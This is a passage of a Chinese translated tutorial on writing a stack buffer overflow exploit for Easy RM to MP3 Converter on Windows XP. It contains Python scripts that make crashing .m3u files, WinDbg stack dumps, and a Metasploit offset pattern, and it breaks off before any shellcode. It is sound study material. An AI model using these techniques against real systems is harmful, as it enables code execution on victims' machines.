Exploit编写教程1:栈溢出

本文为 Exploit编写教程 的学习笔记,原文请点击这里
本文仅作以防御为目的的技术总结,所有操作均在实验环境下进行,请勿用于非法行为,否则后果自负。
如有侵权烦请告知,我们会立即删除并致歉。谢谢。

要点提示:

  • 复现环境首选 WinXP,因为没有 地址随机化ASLR,可以减少复现难度。ASLR在 Vista以上版本才有。
  • 用到的工具有:python3\pwntools\windbg\x32dbg\msfvenom
  • 造成崩溃后查看EIP是否为目标地址,使用 d esp 查看栈中的数据。
  • 直接使EIP指向ESP不会有效果,要使EIP指向 jmp esp 指令的地址。
  • 查看软件加载的DLL所在的地址范围,再使用 s 1a800000 l 1f200000 ff e4 查询该指令所在的地址。ff e4jmp esp 的OPcode。
  • 使用 msfvenom 生成playload,选择合适的编码器

0x00 初识漏洞利用

2009年7月17日,昵称为“Crazy_Hacker”的人通过 packetstormsecurity.org 报告了 Easy RM to MP3 Conversion Utility 的一个漏洞,是在 WinXP SP2上验证的。漏洞报告包括一个PoC(proof of concept),但是无法在 WinXP SP3 虚拟机上验证。稍后又发布了另一个漏洞

如果直接复制 PoC 代码并运行,会发现并不起作用(如果幸运的话也会有效),所以可以试着理解构建漏洞利用的过程,以便修复漏洞利用程序,或者干脆从头开始构建自己的漏洞利用。

顺便说一句:除非你能快速对shellcode进行反汇编、阅读和理解,否则我绝不建议你直接运行别人写的漏洞利用,尤其是可执行文件的情况下。假如它只是为了在你电脑里开个后门而构建的呢?

问题是:漏洞利用编写者如何构建他们的漏洞利用?从检测可能的漏洞到构建实际有效的漏洞利用的过程是什么样的?如何使用漏洞信息来构建自己的漏洞利用?

自从我开博客以来,写一篇关于缓冲区溢出的基本教程就一直在我的“待办事项”清单上,但我从来没有真正花时间去做(或者干脆忘记了)。

当我今天看到漏洞报告并查看了漏洞利用时,我认为这个漏洞报告可以作为解释编写漏洞利用基础知识的完美示例————它干净、简单,并且允许我演示一些用于编写可稳定运行的基于栈的缓冲区溢出的技术。

所以也许现在是个好时机,尽管前面提到的漏洞报告已经包含了一个漏洞利用(不管是否有效),我仍然会以 [Easy RM to MP3 Conversion Utility] 中的漏洞为例,我们将一步一步地构建有效漏洞利用,无需复制任何内容。我们将从头开始构建它,这次让它在 WinXP SP3 上运行 😃

在我们继续之前,我先声明一件事:

本文档纯粹用于教育目的。

我不希望任何人使用此信息(或此博客上的任何信息)来实际入侵计算机或做其他非法事情。因此,对于其他人获取本文档的部分内容并将其用于非法目的的行为,我不承担任何责任。如果您不同意,则不允许您继续访问本网站,请立即关闭网页。

无论如何,通常能从漏洞报告中获得漏洞的基础信息。漏洞报告指出“Easy RM to MP3 Converter 版本 2.7.3.700 通用缓冲区溢出漏洞利用程序会创建恶意的 .m3u 文件”。换句话说,您可以创建一个恶意的 .m3u 文件,将其输入程序并触发漏洞。这些报告可能不是每次都非常具体,但在大多数情况下,您可以了解到如何构建崩溃或使应用程序行为异常。如果报告中没有任何信息,那么说明安全研究人员可能已经向应用程序供应商披露了漏洞,从而使供应商有时间修复漏洞,再或者只是想自己保留这个情报。

0x01 验证BUG

首先,验证应用程序是否在打开格式错误的 .m3u 文件时崩溃。

获取易受攻击版本的 Easy RM to MP3 的副本,并将其安装在运行 Windows XP 的计算机上。漏洞报告指出,该漏洞可在 XP SP2上运行,但我将用 XP SP3。

您可以在以下位置找到易受攻击的应用程序的副本exploit-db

在这里插入图片描述

快速旁注:您可以在以下位置找到旧版本的应用程序oldapps.comoldversion.com,或者通过查看exploit-db.com 上的漏洞利用(通常也有易受攻击的应用程序的本地副本)

我们将使用以下简单的 python3 脚本创建一个 crash.m3u 文件,它可以帮助我们发现有关该漏洞的更多信息:

filename = 'crash.m3u'
junk = b'\x41' * 10000
file = open(filename, "wb")
file.write(junk)
file.close()

运行 python 脚本将创建 crash.m3u 文件,其中填充了 10000 个 A(\x41 是 A 的十六进制表示),使用 Easy RM to MP3 打开这个 .m3u 文件。应用程序抛出一个错误,但看起来错误得到了正确处理并且应用程序没有崩溃。修改脚本以在文件中写入 20000 个 A 并重试,结果相同。(异常被正确处理,所以我们仍然无法覆盖任何有用的东西)。现在将脚本改为写入 30000 个 A,创建文件并在程序中打开它。

嘣——程序崩溃了。

好的,所以如果我们给它提供一个包含 20000 到 30000 A 的文件,应用程序就会崩溃。但是我们能用这个做什么呢?

0x02 验证BUG,并看看它是否有趣

在许多情况下,应用程序崩溃不会导致漏洞利用,但有时会。对于“漏洞利用”,我的意思是希望应用程序做一些它不打算做的事情——比如运行你自己的代码。使应用程序做一些不同的事情的最简单方法是控制其应用程序流程(并将其重定向到其他地方)。方法是控制指令指针寄存器——即程序计数器,它是一个 CPU 寄存器,指向需要执行的下一条指令所在位置的地址。

假设应用程序调用带有参数的函数。在转到函数之前,它将当前位置保存在指令指针中(因此它知道函数完成时返回的位置)。如果您可以修改此指针中的值,并将其指向包含您自己的代码段的内存位置,那么您可以更改应用程序流程并使其执行不同的操作(除了返回到原始位置)。控制流程后要执行的代码通常称为shellcode。因此,如果我们让应用程序运行我们的 shellcode,我们可以称其为有效利用。在大多数情况下,此指针由 EIP 代替。该寄存器大小为 4 个字节。因此,如果您可以修改这 4 个字节,您就控制了应用程序(以及运行应用程序的计算机)

0x03 前置理论

您只需要几个术语:

每个 Windows 应用程序都使用部分内存。进程内存包含 3 个主要组件:

  • 代码段(处理器执行的指令。EIP 跟踪下一条指令)
  • 数据段(变量、动态缓冲区)
  • 堆栈段(用于将数据或参数传递给函数,并用作变量的空间。栈从页面的虚拟内存的最末端开始(=栈底部)并向下增长(到较低的地址)。 PUSH 将一些内容添加到栈顶部,POP 将从栈中删除一项(4 字节)并将其放入寄存器中。

如果要直接访问栈内存,可以使用ESP(栈指针),它指向栈的顶部(即最低内存地址)。

  • PUSH 后,ESP 指向较低的内存地址(地址随着入栈的数据大小而递减,在地址/指针的情况下为 4 个字节)。减量通常发生在项目被放入栈之前(取决于具体实现,如果 ESP 已经指向栈中的下一个空闲位置,则减量发生在将数据放入栈之后)
  • POP 后,ESP 指向更高的地址(地址递增(在地址/指针的情况下增加 4 个字节))。从栈中删除项目后会发生增量。

当输入一个函数/子程序时,会创建一个栈帧。该栈帧将父过程的参数保存在一起,并用于将参数传递给子程序。栈的当前位置可以通过栈顶指针(ESP)访问,函数的当前基址包含在基址指针EBP(也即栈帧指针)中。

CPU的通用寄存器(Intel x86)是:

  • EAX : accumulator : 用于执行计算,用于存储函数调用的返回值。加、减、比较等基本操作均使用该通用寄存器
  • EBX : base(与EBP没有任何关系)。没有通用用途,可用于存储数据。
  • ECX : counter : 用于迭代。ECX 向下计数。
  • EDX : data : 这是 EAX 寄存器的扩展。它允许存储额外的数据以促进这些计算,从而允许进行更复杂的计算(乘法、除法)。
  • ESP :栈顶指针
  • EBP : 栈基指针
  • ESI :源索引:保存输入数据的位置
  • EDI :目标索引:指向存储数据操作结果的位置
  • EIP : 指令指针

0x04 进程内存

当应用程序在win32环境下启动时,会创建进程和分配虚拟内存。在一个32位进程中,地址范围是0x000000000xFFFFFFFF,其中从0x000000000x7FFFFFFF是用户空间,0x800000000xFFFFFFFF是内核空间。Windows系统使用平坦存储模式,CPU可以直接/顺序/线性的方式访问所有可用内存地址,而不必使用分段/分页方式。

内核空间内存只能由操作系统访问。

当一个进程被创建时,一个PEB(进程执行块)和TEB(线程环境块)被创建。

PEB包含所有与当前进程相关的用户地参数:

  • 主执行文件的位置
  • 指向加载器数据的指针(可用于列出所有可加载到进程中的DLL/模块)
  • 指向堆空间指针

TEB描述了线程状态,包括以下:

  • PEB在内存中的地址
  • 所属线程的栈的地址
  • 指向SHE链的第一个入口

进程中的每个线程都有一个TEB

Win32进程的内存图如下:

在这里插入图片描述

程序Image/DLL的代码段是只读的,仅包含应用程序代码,可以防止被修改。代码段的大小是固定的。

数据段用于存储全局变量和静态变量,用于初始化全局变量、字符串和其他常量。数据段是可写的,并且大小固定。

堆段用于存放其余的程序变量。它可以根据需要变大或变小。 堆中的所有内存都由内存分配器(和内存回收器)算法管理。这些算法保留了一个内存区域。堆会向高地址增长。

在DLL中,代码、导入表(DLL使用的函数列表,来自另一个DLL或应用程序)和导出表(它向其他DLL的应用程序提供的函数)是代码段的一部分

0x05 栈

栈是进程内存的一部分,是一个后进先出(Last in first out)的数据结构。操作系统为每个线程分配一个栈(当线程被创建时)。 当线程结束时,栈也会被清空。栈的大小在创建时就已经定义好了,不会改变。结合LIFO和它不需要复杂的管理结构/机制来得到管理的事实,栈读写速度很快,但大小有限。

LIFO意味着最近放置的数据(PUSH指令的结果)是第一个将被再次从栈中移除的。(通过POP指令)。
当一个栈被创建时,栈指针指向栈的顶部(栈上的最高地址)。当信息被PUSH入栈时,这个栈指针会递减(到一个较低的地址)。 因此,从本质上讲,栈会增长到一个更低的地址。

栈包含了局部变量、函数调用和其他不需要存储较长时间的信息。 随着更多的数据被添加到栈中(入栈),栈指针被递减,并指向一个较低的地址值。

每次函数被调用时,函数参数被入栈,以及寄存器的保存值(EBP、EIP)。 当一个函数返回时,EIP的保存值被从栈中取回并放回EIP中,因此可以恢复正常的应用流程。

让我们用几行简单的代码来演示这个行为。

#include <stdio.h>

void do_something(char *Buffer)
{
     char MyVar[128];
     strcpy(MyVar,Buffer);
}

int main (int argc, char **argv)
{
     do_something(argv[1]);
}

创建一个Win32的C语言命令行项目,粘贴以上代码进行编译,生成 stacktest.exe ,运行 stacktest.exe AAAA

这个应用程序接受一个参数 argv[1] ,并将该参数传递给函数 do_something()。 在该函数中,参数被复制到一个最大容量为128字节的局部变量中。所以如果参数的长度超过127字节(末尾加一个空字节来终止字符串),缓冲区可能会被溢出。

当函数 do_something()main() 中被调用时,会发生以下情况。

一个新的栈帧被创建,在“父”栈的顶部。栈顶指针(ESP)指向新创建的栈的最高地址。这就是 “栈顶”。

在这里插入图片描述

do_something()函数调用之前,先将指向参数的指针入栈。

在这里插入图片描述

接下来 do_something() 函数被调用。CALL指令首先把当前EIP入栈,这样当函数结束时就能知道应该返回到哪里,然后跳转到函数代码。

CALL指令之后的栈

在这里插入图片描述

PUSH指令后,ESP减少4字节,然后指向低地址

在这里插入图片描述

在调试器中,ESP指在 0013FF70,这个地址是已入栈的EIP(00401057),后面是参数的指针(指向 AAAA),在CALL指令完成之前,这个指针保存在栈上。

在这里插入图片描述

接下来,函数的 Prolog 开始执行,栈帧指针 EBP 保存在栈上,可以在函数返回时取回。保存EBP的指令是 push ebp,ESP再次减4字节。

在这里插入图片描述

push ebp 之后,当前ESP被放入EBP。此时,ESP和EBP都指向当前栈顶。从那时起,栈通常会被ESP(栈顶)和EBP(当前栈基指针)引用。这样,应用程序可以通过使用到EBP的偏移量来引用变量。

大多数函数以这个顺序开始: PUSH EBP; MOV EBP,ESP;

因此,如果您将4个字节入栈,ESP将减少4个字节,而EBP仍将停留在原来的位置。然后,您可以使用 EBP-0x4 引用这4个字节。

接下来,我们可以看到变量 MyVar(128字节) 的堆栈空间是如何声明/分配的。为了保存数据,在栈上分配了一些空间来保存这个变量中的数据。ESP减去一些字节。这个字节数很可能超过128个字节,因为这是由编译器决定的分配例程。你会看到一个 SUB ESP,84 指令。这样,这个变量就有了可用的空间。

在这里插入图片描述

函数的反汇编结果如下:

00401000 / 55            | push ebp                      | Prolog
00401001 | 8BEC          | mov ebp,esp                   | Prolog
00401003 | 81EC 84000000 | sub esp,84                    | 空间分配
00401009 | A1 04304100   | mov eax,dword ptr ds:[413004] |
0040100E | 33C5          | xor eax,ebp                   |
00401010 | 8945 FC       | mov dword ptr ss:[ebp-4],eax  | [ebp-4]:"AAAA"
00401013 | 8B45 08       | mov eax,dword ptr ss:[ebp+8]  |
00401016 | 50            | push eax                      |
00401017 | 8D8D 7CFFFFFF | lea ecx,dword ptr ss:[ebp-84] |
0040101D | 51            | push ecx                      | ecx:&"C:\\DOCUME~1\\a\\MYDOCU~1\\STACKT~1.EXE"
0040101E | E8 9D1A0000   | call <stacktest.sub_402AC0>   |
00401023 | 83C4 08       | add esp,8                     |
00401026 | 8B4D FC       | mov ecx,dword ptr ss:[ebp-4]  | [ebp-4]:"AAAA"
00401029 | 33CD          | xor ecx,ebp                   |
0040102B | E8 2E000000   | call stacktest.40105E         | strcpy()
00401030 | 8BE5          | mov esp,ebp                   | Epilog
00401032 | 5D            | pop ebp                       | Epilog
00401033 \ C3            | ret                           |

如果这个函数中没有 strcpy() ,那么这个函数现在将结束并释放栈。基本上,它只是将ESP移回到保存EIP的位置,然后发出RET指令。在这种情况下,ret将从堆栈中获取保存的EIP指针并跳转到该指针。(因此,它将返回到主函数,就在调用 do_something() 的位置之后)。结束指令由 MOV ESP,EBP; POP EBP; 指令执行(这将恢复EBP和EIP)。

在我的例子中,我们有一个 strcpy() 函数。

此函数将从[Buffer]指向的地址读取数据,并将其存储,读取所有数据,直到看到一个空字节(字符串终止符)。当它复制数据时,ESP停留在原处。 strcpy() 不使用 PUSH 指令将数据放入堆栈…它基本上是使用一个索引(例如ESP、ESP+1、ESP+2等)读取一个字节并将其写入堆栈。所以在复制之后,ESP仍然指向字符串的开头。

在这里插入图片描述

这意味如果[Buffer]中的数据比0x84字节稍长,strcpy()将覆盖保存的EBP,并最终保存EIP(以此类推)。毕竟,它只是继续读写,直到到达源位置的一个空字节(在字符串的情况下)

在这里插入图片描述

ESP仍然指向字符串的开头。strcpy()完成,就像什么都没发生一样。strcpy()之后,函数结束。这就是事情变得有趣的地方。函数的Epilog开始工作。基本上,它会将ESP移回保存EIP的位置,并发出RET。它将接受指针(在我们的例子中是AAAA或0x41414141,因为它被覆盖了),并将跳转到那个地址。

所以你控制了EIP。

长话短说,通过控制EIP,您基本上改变了函数将使用的返回地址,以便“恢复正常流”。

当然,如果您通过缓冲区溢出来更改这个返回地址,它就不再是“正常流”了。

所以假设你可以覆盖EIP,EBP,MyVar的缓冲区,并且你在保存EIP之前和之后的区域有一个A(你自己的代码)…想想吧。发送缓冲区 ([MyVar][EBP][EIP][自定义代码]) 后,ESP将应该指向 [自定义代码] 的开头。所以如果你能让EIP按照你的代码来,你就能控制局面。

注意:当栈上的缓冲区溢出时,使用术语 stack based overflow 或者 stack buffer overflow 。当您试图写入栈帧的末尾时,会用到术语 stack overflow 。不要把这两者混为一谈,因为它们完全不同。

0x06 调试器

为了查看栈的状态(以及寄存器的值,例如EIP、ESP等),我们需要将调试器连接到应用程序,以便我们可以看到应用程序运行时发生的情况(特别是当它崩溃时)。

有许多调试器可用于此目的。我最常用的两个调试器是 Windbgx64Dbg 的调试器

让我们使用Windbg。安装 Windbg(完整安装)并使用“windbg -I”将其注册为默认调试器。

在这里插入图片描述
在这里插入图片描述

你也可以通过设置如下注册表来禁用报错自动弹出:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : set to 0

在这里插入图片描述
为了避免 Windbg 抱怨找不到符号文件,请在您的硬盘驱动器上创建一个文件夹(比如说 c:\windbgsymbols)。然后,在 Windbg 中,转到“文件”-“符号文件路径”并输入以下字符串:

SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols

(这个字符串后面不要有空行!确保这个字符串是符号路径字段中唯一的字符串)

好的,让我们开始吧。

启动 Easy RM to MP3,然后再次打开 crash.m3u 文件。应用程序将再次崩溃。如果您禁用了弹出窗口,windbg 调试器将自动启动。如果出现弹出窗口,请单击“调试”按钮,调试器将启动:

在这里插入图片描述
Windbg:

在这里插入图片描述

x32dbg:

在这里插入图片描述

在图形界面调试器中能显示相同的信息。程序发生了崩溃,因为 EIP 当前指向41414141,这不是一个有效的地址。在右上角的窗口中,是寄存器值。在左下角,是内存转储。在右下角,是栈的内容(即 ESP 指向的位置的内存内容)。

无论如何,在这两种情况下,我们都可以看到 EIP 的值是 41414141,这是AAAA的十六进制表示。

在继续之前的快速说明:在英特尔x86上,地址存储在小端(反向存储)。如果向缓冲区中发送了 ABCD ,EIP 将指向 44434241 (即 DCBA)

因此,看起来我们的m3u文件的一部分被读入缓冲区并导致缓冲区溢出。 我们已经能够溢出缓冲区并在指令指针上写入。 因此,我们也许能够控制EIP的值。

由于我们的文件只包含A,因此我们不知道我们的缓冲区需要多大才能准确地写入EIP。换句话说,如果我们想用特殊的地址覆盖EIP,这样可以向它提供可用的数据并使其跳转到我们的邪恶代码,那么我们需要知道缓冲区中覆盖返回地址的确切位置(当函数返回时,它将变成EIP)。 此位置通常称为“偏移量”。

0x07 确定缓冲区大小以精确修改EIP

我们知道 EIP 位于缓冲区开头的 20000 到 30000 字节之间。现在,您可能会使用要覆盖 EIP 的地址覆盖 20000 到 30000 字节之间的所有内存空间。这可能有效,但如果您能找到执行覆盖的确切位置,它看起来会更好。为了确定缓冲区中 EIP 的确切偏移量,我们需要做一些额外的工作。

首先,让我们尝试通过稍微更改一下 python 脚本来缩小位置范围:

让我们把东西切成两半。 我们将创建一个包含 25000 个 A 和另外 5000 个 B 的文件。 如果 EIP 包含41414141 (AAAA),则 EIP 介于 20000 和 25000 之间,如果 EIP 包含 42424242 (BBBB),则 EIP 介于 25000 和 30000 之间。

filename = 'test25000.m3u'
junk = b'\x41' * 25000
junk2 = b'\x42' * 5000
file = open(filename, "wb")
file.write(junk + junk2)
file.close()

创建文件并在 Easy RM to MP3 中打开 test25000.m3u

在这里插入图片描述

好了,所以eip包含42424242(BBBB),所以我们知道EIP的偏移量在25000和30000之间。这也意味着我们应该/可能会看到内存中ESP指向的剩余B(假设EIP在30000个字符缓冲区结束之前被覆盖)

Buffer :
[        25000 A's      ][            5000 B's            ]
[AAAAAAAAA......AAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBB......]
                             EIP  ESP

dump ESP 的内容

0:000> d esp
000ffd38  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd48  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd58  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd68  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd78  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd88  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd98  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffda8  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0:000> d esp
000ffd38  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd48  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd58  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd68  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd78  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd88  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffd98  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ffda8  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB

这是个好消息。我们已经用BBBB覆盖了EIP,还可以在ESP中看到我们的缓冲区。

在开始调整脚本之前,我们需要在缓冲区中找到覆盖 EIP 的确切位置。

为了找到确切的位置,我们将使用 Metasploit 。

Metasploit 有一个很好的工具来帮助我们计算偏移量。它将生成一个包含唯一模式的字符串。使用此模式(以及在我们的恶意 .m3u 文件中使用该模式后EIP的值),我们可以看到缓冲区应该有多大才能准确地写入EIP。

找到 metasploit-framework/tools/exploit 文件夹(我使用的是 Kali 系统中的 metasploit)。找到一个名为 pattern_create.rb 的工具。创建 5000 个字符的模式并将其写入文件

┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -h     
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
                                                                                                                     
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 5000

编辑 python 脚本,并将 $junk 2 的内容替换为我们的 5000 个字符。

filename = 'test25000.m3u'
junk = b'\x41' * 25000
junk2 = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er